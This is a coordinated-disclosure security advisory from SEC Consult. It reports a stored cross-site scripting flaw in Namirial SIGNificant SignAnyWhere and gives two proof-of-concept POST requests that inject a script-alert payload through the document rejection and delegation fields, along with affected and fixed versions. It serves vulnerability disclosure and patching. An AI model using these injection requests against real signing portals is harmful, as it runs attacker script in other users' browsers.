SEC Consult Vulnerability Lab Security Advisory < 20200728-0 > ======================================================================= title: Stored Cross-Site Scripting (XSS) Vulnerability product: Namirial SIGNificant SignAnyWhere vulnerable version: v6.10.60.25434 (SSP v4.22.60.25434) v6.10.100.25817 (SSP v4.22.100.25817) fixed version: v19.76.0.26030 (SSP v19.76.0.26030) v20.14.0.26049 (SSP v20.14.0.26049) CVE number: - impact: high homepage: https://www.namirial.com/en/ found: 2020-04-01 by: Philipp Espernberger (Office Linz) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Namirial is a Trust Service Provider, focused on addressing the fast growing market of Digital Transaction Management (DTM), which includes legally compliant electronic signatures, managing and tracking documents flows, conducting secure transactions and ensuring secure storage of data." Source: https://www.namirial.com/en/trust-services/ Business recommendation: ------------------------ Update to the latest version of Namirial SIGNificant SignAnyWhere. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: ----------------------------------- 1. Stored Cross-Site Scripting (Authenticated access) Due to the lack of input validation and output sanitization, an attacker, who was granted access to a document that is provided by a customer via email, can inject malicious JavaScript code, which will be executed in the browser of a user. Proof of concept: ----------------- 1. Stored Cross-Site Scripting (Authenticated access) The following method can be used to exploit the stored cross-site scripting vulnerability. Click the link, which was sent to you via email for signing the document. There are 2 possibilities to inject a cross-site scripting payload: 1: Reject the document. 2: Delegate the document. The request below shows that an attacker can inject a malicious payload via the rejection functionality (the RejectMessage key is affected). POST /SawViewer/SignAnywhereServices.asmx/RejectWorkstep HTTP/1.1 Host: $host ---snip--- {"basicParameters":{"WorkstepId":"<removed>", "GeolocationLongitude":0,"GeolocationLatitude":0, "GeolocationErrorState":"NOT_USED","Accuracy":-1,"UsedLanguage":"de","SupportId":"<removed>"}, "rejectConfiguration":"{\"RejectMessage\":\"<script>alert(location.origin)</script>\",\"Type\":\"Reject\"}"} Using the same process an attacker can also inject a malicious payload via the delegation functionality (the delegationReason key is affected). POST /SawViewer/SignAnywhereServices.asmx/RejectWorkstep HTTP/1.1 Host: $host ---snip--- {"basicParameters":{"WorkstepId":"<removed>", "GeolocationLongitude":0,"GeolocationLatitude":0, "GeolocationErrorState":"GEOLOC_NO_TIMEOUT","Accuracy":-1,"UsedLanguage":"de","SupportId":"<removed>"}, "rejectConfiguration":"{\"RejectMessage\":\"",\"Type\":\"Delegation\",\"AdditionalInformation\":\" {\\\"firstName\\\":\\\"name\\\",\\\"lastName\\\":\\\"name\\\",\\\"email\\\":\\\"delegation mail\\\", \\\"phoneNumber\\\":\\\"phone number\\\",\\\"delegationReason\\\":\\\"<script>alert(location.origin)</script>\\\"}\"}"} The injected cross-site scripting payload is stored within the application and upon opening the document the payload will be automatically executed. Vulnerable / tested versions: ----------------------------- The following versions of the software have been tested and found to be vulnerable: * Namirial SIGNificant SignAnyWhere version v6.10.60.25434 (SSP v4.22.60.25434) * Namirial SIGNificant SignAnyWhere version v6.10.100.25817 (SSP v4.22.100.25817) Previous and newer versions may also be affected. Vendor contact timeline: ------------------------ 2020-04-03: Contacting vendor through contact form (https://www.namirial.com/de/kontaktformular/) 2020-04-08: Response from the vendor with the contact details. 2020-04-10: Contact person requests to obtain advisory via Support Platform (Upload Report). 2020-04-10: Advisory uploaded to vendor. 2020-05-26: Vendor released updated versions (19.76 and 20.14 ) 2020-06-18: Testing patched version (v19.76.0.26030) 2020-07-28: Coordinated release of security advisory Solution: --------- Upgrade Namirial SIGNificant SignAnyWhere to version v19.76.0.26030 (SSP v19.76.0.26030) or Upgrade Namirial SIGNificant SignAnyWhere to version v20.14.0.26049 (SSP v20.14.0.26049) Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF P. Espernberger / @2020